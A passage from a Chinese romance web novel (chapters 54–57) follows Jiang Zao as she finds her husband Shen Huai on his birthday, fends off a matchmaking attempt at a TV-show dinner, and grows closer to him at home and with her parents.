她对着屏幕,噼里啪啦一顿打。
整个办公室都是键盘按动的声音。
正过来视奸的陆特助,看着门口挤成一堆的员工,问:“你们看什么呢?”
几个老员工没作声,默默的往后退成一排。
陆特助顺着他们的视线看过去,一个女人坐在电脑前,噼里啪啦的打着字。
他朝旁边问:“这是谁?”
几个老员工拨浪鼓一样的摇头。
陆特助走上前:“您好?”
那人神情专注的对着电脑,戴着头戴式的大耳机,显然并没有听清他的话。
他朝那耳机伸手。
向晨曦恰在此刻转头。
他的手不偏不倚落在她的发间,像在抚摸一般。
夜色照星空,到了晚上,雪迟迟没有落下来。
漆黑一片的夜幕之中,泛着红白光晕的星点在天空炸开,仿佛亿万颗钻石缀满天际,一簇簇绚烂的光弧载着火光直冲云霄,如同流星划破夜空。
姜早仰头望着天。
向北辰说,没有雪的话,白来一趟会很遗憾,所以给她点了烟花。
很好看,和雪一样好看。
所有人都被绚烂的烟花惊艳,仰头望着天,或是欣赏或是拍照。
唯有向北辰低下了头,望着她眸中的炸开的光点。
此刻,在他眼中。
再绚烂的烟花,都比不上她眸中的那一簇。
姜早看着绚烂的天空,记忆的交叠,眼前不禁浮现了沈淮的脸。
那天,他们的车停在路上。
她在车上装睡,车窗外似乎响起了烟花升起的声音。
还未等她听清,耳边突然静了。一丝丝热度带着暖意的手轻轻按在她耳朵上,不敢太紧,也不敢太松。
外面烟花在天空绽开的那一刹那,她没有看到。
但那时,她的心里放了一场特别美的烟花,这段记忆不存在眼睛里,而在于心里。
恰在此时,旁边有人惊呼:“下雪了!下雪了!快拍照!”
数以万计的雪花从天空中摇摇晃晃着落下,如瀑般洒向地面。
姜早伸手,接住那摇摇晃晃落下的雪花,放在手里,慢慢变作了一颗水珠。手心里的那一点点凉意,让她清醒了一些。
她落下眉眼,侧头对着向北辰道:“谢谢你今天的烟花,我突然想起还有一点事,可能要先回去了。”
正被撺掇着拿花的向北辰顿了顿:“学姐,下雪了,马上就可以打雪仗了。”
“我真的有急事,你们玩吧,不用管我。”姜早落下这句话,匆匆离开。
身边的人拍了拍向北辰的肩膀,道:“才这么一点雪,雪仗猴年马月才能打,这天气预报不准啊,我要是你女神肯定也不想一直等在这。”
“和天气没关系。”向北辰抬头望向天空,雪花洋洋洒洒落在他的脸上,冰冰的。
几年前,她的信里写道:你知道吗!我这里终于下雪了,雪好漂亮!好想和喜欢的人一起看雪啊,你别误会哈哈!我说的是和我的爸爸妈妈!可惜大人总是很忙,不喜欢看雪。不过没关系,雪很漂亮,我一个人看也能看一整天,太幸福了!你呢,你那边有雪吗?是不是很好看!
向北辰闭上眼睛,轻声喃喃:“嗯,很好看。”
54. 第 54 章
雪约下雨大,满世界只剩簌簌雪落和嘎吱嘎吱的脚步声。
天气预报没错,漫天白茫茫,真的是大雪。
月光之下,初雪落在门上,结了一层银霜。
姜早深吸了一口气,推门进去。
客厅的灯是关的,走到楼上,卧室里也没有人。
她把沈淮从黑名单拉出来,打了个电话出去,一直无法接通。
姜早望着窗外的雪。
也不知道这场大雪,会下多久。
走廊里传来一丝响动,是小苹果在逗猫的声音。
姜早走出房门时,苹果有些被吓了一跳。
“怎么了?”她问。
小苹果放下手里的猫,捂着胸口道:“妈妈说今天哥哥过生日,你们会很晚回来,我还以为家里只有我和妈妈呢!”
姜早心口一跳,复述道:“今天是你哥哥生日?”
小苹果重重点头。
她蹲下身,问:“你知道哥哥在哪里过生日吗?”
“不知道。”小苹果如实道,“妈妈说哥哥不喜欢过生日,所以从来不带我陪哥哥过生日。”说完,眸色有些沮丧。
姜早揉了揉她的头:“嗯,知道了,太晚了回去睡吧。”
小苹果点点头,小跑着回了卧室。
姜早看了一眼时间,二十一点半,离二十四点还有两个半小时。
她在楼梯口,蹲下身,默默望着门口的方向,脑子里乱乱的不知在想什么。
耳边一道细碎的声音,下一秒一只肉肉的小手递过来一张贺卡。
小苹果泛红的脸,颇有些不好意思道:“姜姜老师,其实我知道妈妈跟我说的那些是骗我的。哥哥也是小朋友,是比我大一点的小朋友,老师说所有小朋友都喜欢过生日,妈妈这个坏蛋,其实就是懒得给哥哥过。”
“可是我想给哥哥过生日!”她噘着嘴,有些沮丧道,“我偷偷写了张贺卡,本来想亲自送给哥哥,但是妈妈催我睡觉了。姜姜老师,你能不能帮我把贺卡送给哥哥,老师说节日当天送给别人东西才有意义,别人才会开心。”
她如同小大人一样侃侃而谈,有时严肃,有时悲伤,有时遗憾。
姜早接过那张贺卡,摸了摸她的头,道:“好,姜姜老师答应你,一定在今天送给他。”
那张悲伤的小脸顿住放出了光:“谢谢姜姜老师!”
得到肯定的答案后,苹果蹦蹦跳跳地回了次卧。
姜早将贺卡拿起来,看了一眼。只有一页,前面是好看的卡通图案,后面是密密麻麻的小字。努力写正的字体,稚嫩简单的词组,一笔一划认认真真,写出了干净纯粹最真诚的祝福。
她盯着手上的时间,时间不知不觉又过了十分钟,也不知道沈淮什么时候回来。
客厅的欧式古钟,分针转了一圈又一圈,外面的雪下的越来越大,逐渐盖过了地面原本的颜色。
姜早凝视着窗外,又播出了那个电话,仍旧是无法接通。
她坐到桌边,反正闲着也是闲着,不如也做一张贺卡。
帮小苹果送贺卡,她什么都不送,不太好。
又过了很久,时针指向了二十二点三十分,他仍旧没有回来。
姜早坐在沙发上,望着窗外,微微出神。
出来上厕所的苹果妈妈被客厅还亮着的灯吓了一跳;“怎么还没睡?”
姜早收回深思,有些不知该如何解释。
旁边苹果妈妈却已经猜出了什么,打了个哈欠走下楼梯:“在等他?”
姜早如实点点头。
苹果妈妈说:“你打他电话试试。”
姜早抿唇。
“打不通是吧?这孩子,就是这样的,心情不好就喜欢玩消失,手机打不通信息也不回。”苹果妈妈习以为常道,“你别介意,今天是他生日,他这天心情一向不会太好。”
“为什么?”姜早问。
苹果妈妈在沙发上坐下,手撑着沙发,闭着眼半寐:“因为他爸妈从来没有给他过过生日。”
姜早心微涩。
苹果妈妈轻叹了口气:“这孩子也是个很别扭的人,我之前买了个蛋糕给他,他一口没吃。我觉得,生日嘛,有个人给他过不就好了,他呢,一定要爸爸妈妈给他过。”
她仍记得那天。
那道小身影站在他爸爸放门外,渴望着爸爸能够记起他的生日,等了好久好久,等到里面有了鼾声才落寞的回去。这样的日子,这个小孩过了很久。
她于心不忍,出门买了个小蛋糕给他。
沈淮不接,眼里有悲伤也有恼火。她也是个有脾气的,把蛋糕放到他那张写作业的小桌子上后,转头就走。
她再次路过时候,那道倔强的小背影,坐在写作业的小桌子上,肩头颤抖,桌上的蛋糕却一丝未动。
这性子,也不知道随了谁,让人头疼。
姜早抬头看了一眼时间,已经到了二十三点,还有一个小时就要到下一天了:“妈,你知道怎么能找到他吗?”
“摩天大厦吧,他每次生日都会去那里等他爸来。”虽然每次都等不到,苹果妈妈有些他头疼的扶额。
“我去找找他,你早点休息。”姜早放下披肩,将两张贺卡揣进兜里,风风火火的走了。
“哎!这么晚还出去做什么,在家里等等他算了!”苹果妈妈话语未落下,别墅的门已经被啪的一声关上,她扶额轻叹了一口气。
雪天的夜里,出租车司机开车很小心,不敢太快。
姜早不断抬手看时间,惹得师傅都有些紧张了。
她注意到后,让师傅慢慢开,不用管她,师傅才放下心。
下了车后,姜早小步跑到前台,问:“麻烦问一下,有没有一个叫沈淮的在这里定包厢?”
前台谨慎的朝她看了一眼:“不好意思,这是客人的隐私,实在不方便透露。”
姜早抬手看表,道:“我找他有急事。”
前台仍摇头:“抱歉女士,真的不行。”
刚应付完商业局的陆特助从走廊走出来,撇了一眼前台,看到姜早:“夫人?你怎么在这?”
姜早对他的脸有些印象,小跑上前,问:“我找沈淮,你知道他在哪个包间吗?”
“沈总不在这,下午沈总让我定了吉天观景台的位置。”他有些诧异道,“难道不是为了晚上和您一起看雪吗?”
姜早想起下午沈淮说的那番话来。
原来,看雪也是陪他过生日。
他干嘛不早说。
姜早轻叹了口气:“那我去观景台找他。”
陆特助上前一步,挡住她去路:“夫人,您别着急,我帮您先问问沈总在不在那里,以我对沈总的了解,你没去的话,他也不会去的。”
陆特助掏出手机,打了个电话出去,没多久,他挂了电话。
“夫人,沈总没去。”陆特助道。
观星台的领导知道沈淮定了位置的时候,激动的不行,早就安排了人在位置上盯着。
姜早蹙眉,望着窗外的雪,自言自语道:“他会去哪呢?”
陆特助诚恳道:“要不我先送夫人回家吧,沈总消失的时候一般不会被人轻易找到的,今天一过,他自然就会出现了,您要是事情不急的话,等他明天...”
“很急。”姜早喃喃完这句话,一步步走到了外面,仰头望着洋洋洒洒的大雪,她的目光没有定焦,失去了方向。
从来没有过过生日么。
如今她也算沈淮的家人吧。
不管有感情与否,至少在身份上,他是承认的。
她可以给沈淮过生日。
脑海中,突然有个地方。
他小跑着拦下路上一辆出租车,坐下关了车门,直接道:“去48号墓地。”
车到了后,墓地的工作人员将她拦住,僵持了好久,直到牙伯出来取外卖看到她,才进去。
铁锈的钥匙打开木门,一股浓郁的酒味扑面而来。
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>“这孩子今天也不知道怎么了,心情不太好,正好你来了,替我劝劝他吧,我还要去外面巡查,一会儿才回来,你们先聊。”他这么说着,打开手里的外卖包装,递给她一盒醒酒药,转身离开。
姜早望着里面,这是牙伯的住所,简陋却也很干净。她转身关上门,往里走了几步,左右没有看到人,只看到满桌子的酒瓶。
正不解时,突然听到了纸落下来的声音,很轻,但在这空荡的房子里,很快就能辨别声音从哪里来。
姜早循声走过去,越靠近,酒味就愈来愈浓郁。
一根彩笔滚到脚边,她的脚步停了下来,侧头望过去。
找到了。
他坐在角落里,侧头枕着膝盖,整个人被笼罩在阴影中,看着格外消沉。
甚至连同她走近,都未发觉。
姜早低头。
他的脚边有一张白纸,粗糙的白纸上用彩笔画了一个彩色的蛋糕。
她伸手想要拿起,突然一只手攥住她。
“别看。”身前的人轻轻说,手上也渐渐放松了力气。
晚风轻拂,酒味裹进风里,他低眸看她。她也定定抬眸望他,一时无言。而他看向她的眸子像是璀璨繁星,一点点发出光亮。
周遭很静,只有时钟的滴答声。
二十三点五十九分。
姜早松了口气,一个字一个字,清晰道:“沈淮,生日快乐。”
话还没说完,她的手腕被拽住,连声音都还没来得及发出,就猝不及防的跌进了他怀里。
“嗯。”有风吹过她的大衣,边角擦蹭他西服衣袖,带着冬日的寒意,略过他手背。
他们靠的很近,稍一抬头,气息的温热就交织在一起。
姜早低头。
偏他的指尖不知惹祸的,勾起她下巴,迫使她与自己对视。
那双眸子,戴着朦朦胧胧的剪影,沈淮勾起唇角。
这道剪影属于自己。
他越靠越近,就在姜早要反抗时,沈淮停了下来,将头落在她的肩头,轻轻道:“梦里,你也生我的气么。”
那略带酒意的话,带着暖气吐在耳边,她顿在原地,任由他们保持这种亲密的姿势。
“你做错什么了?”姜早问。
“不知道。”沈淮声音带着委屈也带着愧意,“你不开心了,那我应该是做错了什么。”
在他眼中,只有不喜欢和做错了事情才会引得别人讨厌。
他宁愿觉得是自己做错了事情,也不愿意承认姜早不喜欢他。
“我没有生你的气,沈淮。”虽然不知道喝完酒的沈淮,会不会记得今天的话,但是她还是想替自己辩解。她低眸望着地面,补道,“离婚,是因为你太好了,我配不上你,我也知道你不喜欢我。”
沈淮睁开眼,缓缓放开环住她的手。
姜早得以脱神,忙从大衣口袋里拿出两张贺卡:“不说那些不开心的了,今天是你生日,要开心一点,我和苹果给你做了两张贺卡!”她将两张贺卡递过去,真诚又认真,轻勾着唇,一字一句再次说道:“沈淮,生日...”
身体瞬间被束缚进一个有力的怀抱里,未说尽的话被吞噬在充满情意的吻中,贪婪的索取着属于她的气息,炙热缠绵。她被吻的浑身瘫软,脑袋晕乎乎,一时忘记了抵抗。感受到她的顺从,他的吻也从原先的掠夺,转变为温柔的牵引。
好久之后,他的吻轻轻落在她的脸上。
她的眼睛雾蒙蒙的,脸上泛着红晕,薄唇微张,清纯夹杂妩媚,惹人恋爱。
“姜早。”他望着她,眸色无限下坠,跌入漩涡,无法逃脱,“我喜欢你。”
话语落下,姜早错愕的望着他。
如同期待回应一般,他就这么定定的看着她。
姜早感受着自己的兵荒马乱,情不自禁的在他的脸上落下蜻蜓点水的一吻。
吻在自然中娴熟,只在对视的下一秒。
呼吸交织,浓烈纯粹。
55. 第 55 章
大雪天,后半夜,满地雪球。
苹果妈妈在栅栏外,望着里面,清亮的眸子中倒映出那两人的影子。
明明是两个人,她却透过这个,看到了零八年,那个冬日。
世家的宴会,大人杯酒攀谈,孩子在外面为了庆祝这场大雪,打起了雪仗。
她自小不喜欢商人中的弯弯绕绕,勾心斗角,率性走出来。
雪球被揉起在空中滑一个漂亮的抛物线,落在她脚边,孩子们欢快的笑了。她也不恼,拿起雪球抛了回去。余光间,看到角落里有个长相和气质出众的孩子,坐在雪地里,独自一人安安静静的堆着雪球。
他似乎乐在其中。
但她不认为,便问:这有什么好玩的。
小孩面色冷冰冰的推到所有的雪球,走了。
她当时想,怎么会有这么无聊的小孩,长大以后谁会喜欢。
记忆一点点抽离,同碎片一样在眼前慢慢飘走,变成眼前清晰的画面。
她拢了拢衣服,嘴角扬起一抹笑意。
“慕女士,又来看他了啊?”牙伯举着伞递过去。
“是啊,谁让这孩子这么不让人放心呢。”她这么说。
牙伯道:“现在这孩子交到女朋友了,你也该放心了。”
“是可以放心了。”苹果妈妈轻笑出声,转身离开,“还是老样子,别说我来过,多谢。”
飞扬的大雪,在天空旋转交织,摇摇晃晃落下来。
不知多久,天色渐渐亮起来,雪不再接着下。
牙伯垒起两个雪球,从地里顺手拔了个萝卜插上,满意地离开。
终于有一场,被城市记住的雪了。
第二天,姜早接到了一个活动的邀约电话。
因为她最近在媒体上的大火,有一档舞蹈类综艺想让她做评委。
姜早看了一眼录制的几个时间,很多都是晚上,和机构的课有冲突。
即使主办方再三请求,她仍旧婉拒。
最后要挂电话时,主办方放弃了原先的策略,说不当评委也行,想让她参与第一期的录制,跳一个开场舞。
姜早想了想,他们无非就是看重她最近的热度,想要给节目造势。
最新发过来的录制时间,与她的安排并不冲突,便应下了。
录制现场。
她跳了一个打磨好的剧目,现场人很多,她一个也不认识,掌声雷动下,她鞠躬退场。休息间的工作人员贴心的给她递水和毛巾,一口一个老师老师的叫着。
姜早有些不习惯,打算离开。她看过节目单,后面的录制没她的事了。
刚走到门口,一个带着帽子的人将她拦下。
“老师,老师您等一下。”
姜早低头看了一眼他脖子上挂的工作证,是节目导演。
还未等她开口,那人先开了口:“姜老师,一会有个聚餐,您要一起来吗?”
姜早抬手看了一眼时间:“我...”
“来吧,姜老师,主办方特地说要邀请您一起过来,后期合照也要做一个宣发,在网上炒热度。”他说。
姜早无奈,都说成这样了,确实不好拒绝,反正也就吃一顿饭。
见姜早答应下来,他赶紧赔笑道:“那您等我们一会,第一幕全部结束后,您搭我们的车一起走。”说完,催场的提醒他赶紧过去,他匆匆告别后,就走了。
姜早找了处沙发坐下,给自己倒了杯茶,抿了口放下,闭上眼睛小息了一会儿,突然她想起什么来,从口袋里摸出手机,给那个人发了条短信过去。
差点忘了,他还在楼下等。
那边很快就回了一条消息过来。
定在哪里。
姜早朝旁边问:“方便问一下,等会聚餐是在哪里吗?”
旁边的工作人员反应过来是在问他,忙回应道:“在摩天大厦的九楼23包厢。”
另一个人道:“不用说这么仔细,反正姜老师到时候跟我们一车去的。”
姜早低下头,想了想,还是回了一个具体的位置过去。
手机没再出声,姜早也没在意他问这些做什么,放下手机,边喝水,边看着电视上直播的画面。一个舞者在台上几个空翻,置在空中的时间很长,落地时没控制好力度,膝盖落地,本是纯炫技,但是基本功不够扎实,闹了笑话。
不得不说,这个综艺选人并没有很严苛,有一些技巧动作很差的人也选了进来。
这样除了赚到一点曝光之外,什么都得不到。
“快,大屏幕,刚刚那个人做错动作了,镜头快对准他,到时候素材把他剪进去。”几个工作人员紧盯着屏幕,手拿着麦克风,一刻不停的发号着指令。
姜早顿时理解了他们的用意,不是不精心挑选,而是太过精心挑选。
节目需要不同角度的曝光和话题度,选手需要曝光让观众记住,互惠互利,确实挑不出毛病。
手机响了响,她头轻轻靠在椅子上,水杯放到桌上,拿起手机微仰头看手机,戳开最新短信。
沈淮说他也有饭局,一会就在隔壁,等会一起回去。
姜早看着手机,喃喃:“这么巧...”
一个小时后,摩天大厦。
璀璨的灯光,华丽的壁画,奢华的红木四方转桌上摆放着各色山珍,食材来自不同国家,价格昂贵的红酒倒进醒酒器,在玻璃道里流畅的摇晃。
姜早忘了眼周围,除去坐在主位上的一个年轻男人,其他人刚刚都见过,是制作团队的人。
她不习惯这种社交的场合,也不太会虚与委蛇,本来就都不是认识的人,没必要主动献殷勤。
制作团队的人在说一些旗开得胜之类的话,还有后面的一些展望,说完之后碰杯,各说各的话。姜早自得其乐,低头吃东西。
主位上的年轻人微微蹙眉。
副导演看了个眼色,站起来朝大家介绍姜早。所有人站起来,朝她敬酒。
姜早看着所有人站起来,也不好意思继续坐着,尴尬的抬起茶杯道:“不太能喝酒,以茶代酒,谢谢各位赏识和邀请,希望你们节目未来大火。”
好在她场面话都能应付一些,不至于让刚刚的场面尴尬到进行不下去。如今身份上去了,其他人看她喝茶,也没说什么,睁一只眼
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闭一只眼。
她说完,所有人都抿了口酒坐下,唯有一人站着。
她与那人对上目光。
他抬了抬手里的酒,做了个类似于碰杯的手势,朝她轻笑眉眼微抬。姜早也跟着抬了抬手里的茶杯,往嘴里倒了一口,余光瞥见他也在这时候喝了酒,然后与她一起坐下。
有种奇怪的感觉,但姜早没太在意。
副导演眼波在两人之间打转,看姜早坐下后,便八卦道:“姜早老师这么漂亮,有没有男朋友啊?”
“没有。”姜早下意识这么说,反应过来后也没想着改,反正也没关系。
“什么!姜老师居然到现在还没男朋友?”旁边好几个人这么道。
姜早不知道他们为什么这么震惊,按理来说,她还是个在校研究生,没什么时间谈恋爱,也很正常。下一秒,她便知道她们为什么这样了。
“姜老师,你觉得我们恒少怎么样?”总导演乐呵呵的做媒,银行卡收到了一笔巨款,他今天很乐意掺和进来。
姜早一时不知道他说的是谁:“嗯?”
坐在旁边的一个制作组的小姑娘指了指坐在主位上的那个男人:“姜老师,就是那个人,他是娱乐行业头部恒氏集团的继承人。”
那位姓恒的公子哥理了理西装,像是没听清他们说的话一样。
姜早没想到来这里还会有相亲的场面,尴尬道:“算了吧,我现在还是以事业为主,没打算谈恋爱。”
总导演端着手,打趣道:“年轻人有冲劲是好事,但也要及时抓住身边的机会,恒少那个圈子,普通人可是进不去的。”这话里毫不掩饰,格外露骨和直白。
姜早听明白了。
在他眼里,艺术工作者只是手里的镜头和转化的数据,并没有从心里尊重她。
反观对资本的态度,可谓是极力讨好。
姜早轻笑,未有被踩低后的难堪,反而落落大方:“人各有志,感情的事不能勉强。”
她姜早,走到现在,没有走捷径,是靠自己爬来的。她有底气,也有胆量,下面托的底扎实,外人推不倒。
她凤眸微抬,看向主位上的人,大大方方道:“当然,也请恒少爷别记仇,未来如果有好的机会和舞台,可以随时邀请我。”
她大概猜出来了,今天自己出现在这里,是因为谁。
恒少眸子里清晰的倒映出那个人的影子,忍俊不禁轻笑出声。
“好,一定。”恒少抬起杯子,朝她敬酒。
这个女人自信、大胆、有野心,与他见过的很多人都不同,原先的邀约只是欣赏,现在才是真正的喜欢。
姜早道:“既然有关于未来的工作,那我便不以茶代酒了,陪您喝一杯。”
她的话严丝合缝,让人挑不出错处。
恒少笑出声:“自然。”
总导演手摩挲着杯子,心里越来越不安,这桩事没办成,手底下收到的那笔钱不知要不要还回去,想了想还是接着起哄道:“哎哟,多般配啊,你们看是不是。”
就算没在一起,也得让恒少看到他的努力才行。
突然间,门开了。
56. 第 56 章
望着门口的来者,所有人眸色一亮又一亮。谁不知道前几天的财经新闻里面,京城沈氏集团那位新继承人露脸了,那可是天上的人物,他们竟然在这里看到了。
其他人还在好奇他会来,几个导演已经端着酒杯上前敬酒了,管他三七二十一,是资本就有助于后面的招商,混个脸熟也好。
在一堆人的殷勤中,沈淮低头看表:“到时间了。”他抬头,朝里面道,“回去接小苹果去上课了。”
这话可以用很多种方式来说,沈淮偏偏用了最直白的一种,说完也没有解释什么,不知道还以为他们有个很大的孩子。
所有人禁声,朝座位那里的姜早看过去。
姜早收回视线,放下手里的酒杯坐下去,默默吃东西降低自己的存在感,装作他喊得人不是自己。
沈淮丝毫不在意别人的目光,云淡风轻的走过来,手放在那张椅子上,低下头,看她:“走了。”
姜早尴尬的放下手里的筷子,匆匆告别其他人,跟着沈淮走出去。
恒少遗憾的望着离开的背影。
如果是其他人,他还可以争一争,但是这个人是沈淮他确实没办法了。
没想到,他那个地位的人,竟然会选择一个普通人结婚。
总导演缓过劲来,颇感死后余生,刚刚说的实在太过了,居然给沈氏集团的总裁夫人相亲,也不知道后面这档节目播出能不能顺利。外面的追不回来,里面这个得安抚好了。
他走到主位旁边,面露惭愧:“抱歉,恒少,让你白跑一趟了。”
“也不算颗粒无收。”恒少耸肩。
“您的意思是?”总导演问。
恒少道:“沈氏集团新任总裁和国内舞者恋爱传闻,这个娱乐新闻怎么样?到时候配合你们的宣发,足够你们节目前期炒热度了。”
“还是您想的周到。”总导演微顿,脑海中想起方才门口看到的那张脸来,不是好惹的主,便多问了一句道:“沈氏那边...”
“看他想不想公开了。”恒少摇晃着杯子里的红酒,仰头笑道,“不想的话,也许会下架新闻版面,和我结仇吧。”他低头,抿了口酒,“不过没关系,到时候也够我们赚一笔走人了。”
他抬杯,扬眉,自信十分:“我走到现在,靠的就是铤而走险,你们敢跟吗?”
众人犹豫再三才抬杯。
杯酒交盏,一片热闹。恒少望着那扇关上的门,嘴角微勾。倒也不算是风险投资,他对沈淮的印象,是满身冷气,拒人千里之外,刚刚那样子...搞不好是想公开的呢。
门外
沈淮黑着脸走的很快,姜早不明其意,只能小步跑追上他。等她气喘吁吁时,前面的人好像慢了些,她便趁机小步跑上去,用指尖绕住他袖口,讨饶道:“慢一点。”
按道理说,上课还有一个小时,不需要这么着急啊。
沈淮转身,阴影里的他晦明晦暗。
“早早,我们什么时候办婚礼。”他低头,轻轻摩挲她的手背,抬眸眼角泛红,显得楚楚可怜。
“嗯...”姜早思索了一阵,“等我研究生毕业吧,还有半年。”
“太久了。”他道。
“可是我现在太忙了,没时间办婚礼,再过段日子吧。”姜早和他商量。
沈淮看着她,眼神仍有些央求。
姜早看了看表,道:“走吧,去接苹果。”
沈淮轻叹了口气,不情不愿的跟上。
...
夜晚回到家,姜早洗好澡穿着睡衣,躺在床上看视频。
浴室里传出一丝动静,姜早没在意。
没多久,门打开一角,传来沈淮清冷的声音:“早早,帮我拿浴巾。”
姜早找了一圈没看到,便从衣柜里拿了一条新的过去,刚把浴巾放到他手上,手腕突然被攥住,紧接着眼前一晃,还未来得及发出声音,就被猝不及防的拖进了浴室,按在门板上。
浴室弥漫着潮湿温热的水汽味,在顷刻间被男人身上带有的气息覆盖。他身上挂着浴巾,黑发湿湿的随手撩了上去,裸露的上半身有让人脸红的身材。
她稍一抬头,在一片雾气中,对上他深不见底的黑眸。温热的空气在中间盘旋打转,贴身的红色水群让曼妙的身材一览无余,实在靠的太近,她脸上已经有了浅浅的红晕,下意识屏住呼吸,贴在门上的指尖微微蜷缩,仿佛空气都静止。
“早早,下次你要说,你有男朋友。”他温热的气息吐在她耳后,暧昧又略带严肃。
这是包厢里制作组的人问她的问题,姜早自然的联想起来了,可是沈淮怎么会知道,她诧异的问:“你怎么...”
话还未说完,男人的薄唇凑上来,迫使她将所有的话咽了下去。潮湿、缠绵的碰触,如同起伏的潮水,她放弃挣扎,闭上眼享受这个深吻。饶久后,他终于放过她,炙热的呼吸喷洒在她耳后,一点点滑落在脖颈,薄唇触碰的地方有丝丝电流划过,酥麻感蔓延到每个细胞。
他慢慢的,将方才的话再次说出口:“早早,下次要说你有男朋友,好不好?”
“嗯...”她被吻的有些含糊,说的并没有那么清晰。
下一秒,她的双手交叉被按在墙上,薄唇再次掠夺她本就薄弱的呼吸。姜早被吻的浑身瘫软如泥,被他的手温柔的捞起,渐而加深这个吻。
就在姜早感觉要溺死时,沈淮终于放过她,抬手用指腹摩挲了两下她被吻的发红的唇角。
“好不好?”
姜早红着脸,知道后果是什么之后,这回回答的很快:“好,知道了。”她实在没力气再下一轮了。
“我困了,早早。”他的神色是干净的,但在这暧昧的氛围中显得极尽危险。
姜早手足无措,眼神乱转,就是不敢看他,胡乱答道:“困...困了就去睡觉啊...”
沈淮松开她的手,她得了缝隙,立马打开门滋溜一下钻进了被子里,一动不动。
沈淮走出来,坐在地上,静静地看她,嘴角微勾。
“早早,要不要关夜灯。”
姜早不明其
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意,明明之前从来不关夜灯,她弱弱道:“开着嘛,反正就一点点光。”
早年去休斯顿,让她有些怕黑,回家后买了个夜灯,时常会开着。后来即使没那么怕了,心理上仍然需要夜灯亮着才能睡着。
“关了吧,开着灯我睡不着。”他说。
姜早将头探出来,心中细想了一番,哦了两声,探出大半身子去关灯。突然一双手捧住她的脸,指尖的温热传到脸上,夜灯的光朦胧的打在他们之间,望着他越来越近的脸,她紧张的闭上眼睛。
沈淮注意到她泛红的耳根,薄唇轻轻落在她的额上,蜻蜓点水。
他们视线相对。
他说:“晚安,姜早。”
姜早心跳如雷,晃了神,就连他已经坐了回去都未发觉,呆呆的滞在那里。等她反应过来时,有些羞恼,强装镇定的关灯,装作什么事都没发生。
刚躺下盖上被子,身边的夜灯又亮了起来。
姜早疑惑的看着他:“不是说开着睡不着吗?”
沈淮盖上被子,平静道:“开着吧。”
姜早突然感觉到自己被耍了,一时有些无奈,这个人什么时候变得这么幼稚了。沉默半响,钻回了被子里,聆听着砰砰的心跳声。怕心跳声被听到,她将整个身体钻进被子里。
好久之后,被子里低低的传出一声:晚安,沈淮。
姜早睡得很晚,夜里也保持警惕,直到后半夜才迷迷糊糊的睡过去,好在第二天醒来并没有发生什么事,她承认自己有点应激了。不过细想来,就算真的做什么,他们是夫妻,也没什么吧...
后面的几天,沈淮时常早回家,时常怂恿苹果妈妈,让她催自己办婚礼。
苹果妈妈催了几次没成功,想让他就此放弃,安心等到研究生毕业后,反正有结婚证也跑不掉。
沈淮一只耳朵进一只耳朵出,还是对这件事不依不饶。
苹果妈妈听得实在嫌烦,没多久就领着苹果回家了。
不过也因此,沈淮和苹果妈妈的关系好了很多,不像当初那般抵触了。
后来的一天里,姜早如往常一样上着课。
木奈奈和室友两人突然出现在她的专业教室,坐在她左右两边,面色不对。
姜早侧头小声问:“你们怎么来了?”
木奈奈和室友两人,眼神直直的看她,却不说话。
姜早有些犯怵,问道:“出什么事了?”
“你把我们当朋友吗?”木奈奈严肃的看她,室友跟着点头。
“当然。”姜早不假思索道。
室友在旁边道:“你和沈淮学长,是什么关系?”
姜早移开视线,左右现在也没办婚礼,还是暂时不对外公开的好,她不自然道,“就...朋友啊。”
木奈奈举起手机,戳了戳上面的照片:“是你吧?”之前只是半信半疑,现在就是板上钉钉。
姜早心一跳,接过手机看了一眼,这侧影还真是沈淮和她。当时是在综艺的聚餐上,这段录像怎么会被放到网上?
57. 第 57 章
回到家后,姜早打了几遍沈淮的电话,都只有机器女声的回应。
司机来接送她去机构,说沈淮今天凌晨飞到国外处理商务,晚上连夜赶回来还要回公司开会,忙的脚不沾地。
姜早心软下来,下班回家还煲了汤。眨巴着眼睛等到凌晨,门外才有车停下的声音。
面对风尘仆仆赶回来的沈淮,她没提起白天新闻上看到的事,轻轻拍了拍他肩上的落雪,帮他脱下外套:“辛苦了,厨房里给你煲了汤。”
走在一边的陆特助正要说沈总吃过了,被他淡淡撇过来的目光逼退。
只记得,那天晚上,那碗味道不算太好的汤,被他认认真真的喝完,认认真真的点评。
姜早看到他吃完很开心,伸手要拿过他手里的碗。
沈淮自顾自走到厨房,拧开水龙头,说他家的女人,是不用洗碗的,
流水声唰唰响起的时候。
姜早望着那道背影,想着。
生活两个字,好像也就是这样了吧。
活着,和生活终究是不一样的。
第二天醒来,那条娱乐新闻莫名下架了,但看到这条新闻的有很多人,娱乐圈,舞蹈圈,还有财经圈,口口相传,大多数人也都知道了。
姜早没再在意下去,不管别人对这段感情的评价怎么样,她想一起共度余生的人,除了沈淮也没有别人了,也只能是他了。
别人,真的不行。
甚至想,就算有人骂她攀高枝,也不管了。
这辈子,真的只能是他了。
冬日的暖阳下,他们回去看爸妈,沈淮带了好些东西,路上还反复问她够不够。
姜早看着满满一车的东西,只觉得商超老板今天发了大财。
许是因为沈淮时常陪着姜爸做康复,所以他俩一见面就能聊好久的天。姜妈昂首挺胸的从车里拿东西,手脚动作故意很慢,面对几个过来问的邻居大爷大妈,她大笑又无奈道:“哎呀,我都说了让她们不要带东西来!不要带东西来!结果带这么一大堆过来,真是拿他们没办法!”
邻居大爷大妈一直在夸姜早嫁得好,姜妈笑得合不拢嘴,讲到兴起,干脆车里的东西也不搬了。
光是沈淮之前露面的财经新闻,就够姜妈吹上一天了。
独自在屋里的姜早走出门,一听外面吵吵嚷嚷,便知道了外面是什么情况。
妈妈总是这样喜欢炫耀,她无奈的走到妈妈身边,和几个大爷大妈打过招呼之后,提起地上拿到半路的人参酒。
沈淮正和姜爸爸喝茶,余光一直望着姜早,看到她独自拿酒,便放下茶,起身站起来:“爸,车里东西多,我先去把东西搬完,一会儿再来陪您喝茶。”
他走过来,接住姜早手里的东西:“你去陪爸爸喝茶,我搬完东西再过来。”
姜早点点头,听话的走到姜爸爸那边,在对面坐下。
刚坐下,姜爸突然突然笑着站了起来。
姜早看着他撸起袖子,要走的样子,问他干什么。
姜爸摆摆手道:“那么多东西,那孩子一个人怎么搬得完,我去和他一起搬。对了,等到我们东西搬完了,锅里的红烧肉也差不多烧好了,你要是饿了就先盛出来吃点。”
姜早还来不及说话,姜爸已经转身走了。
明明也没认识多久,沈淮就这么融入进他家来了,真是神奇。
吃饭的时候,沈淮不怎么主动说话,就在那一个劲的给姜早夹菜,偶尔回应几个姜爸姜妈的问题,有邻居过来串门,他也陪着聊几句。
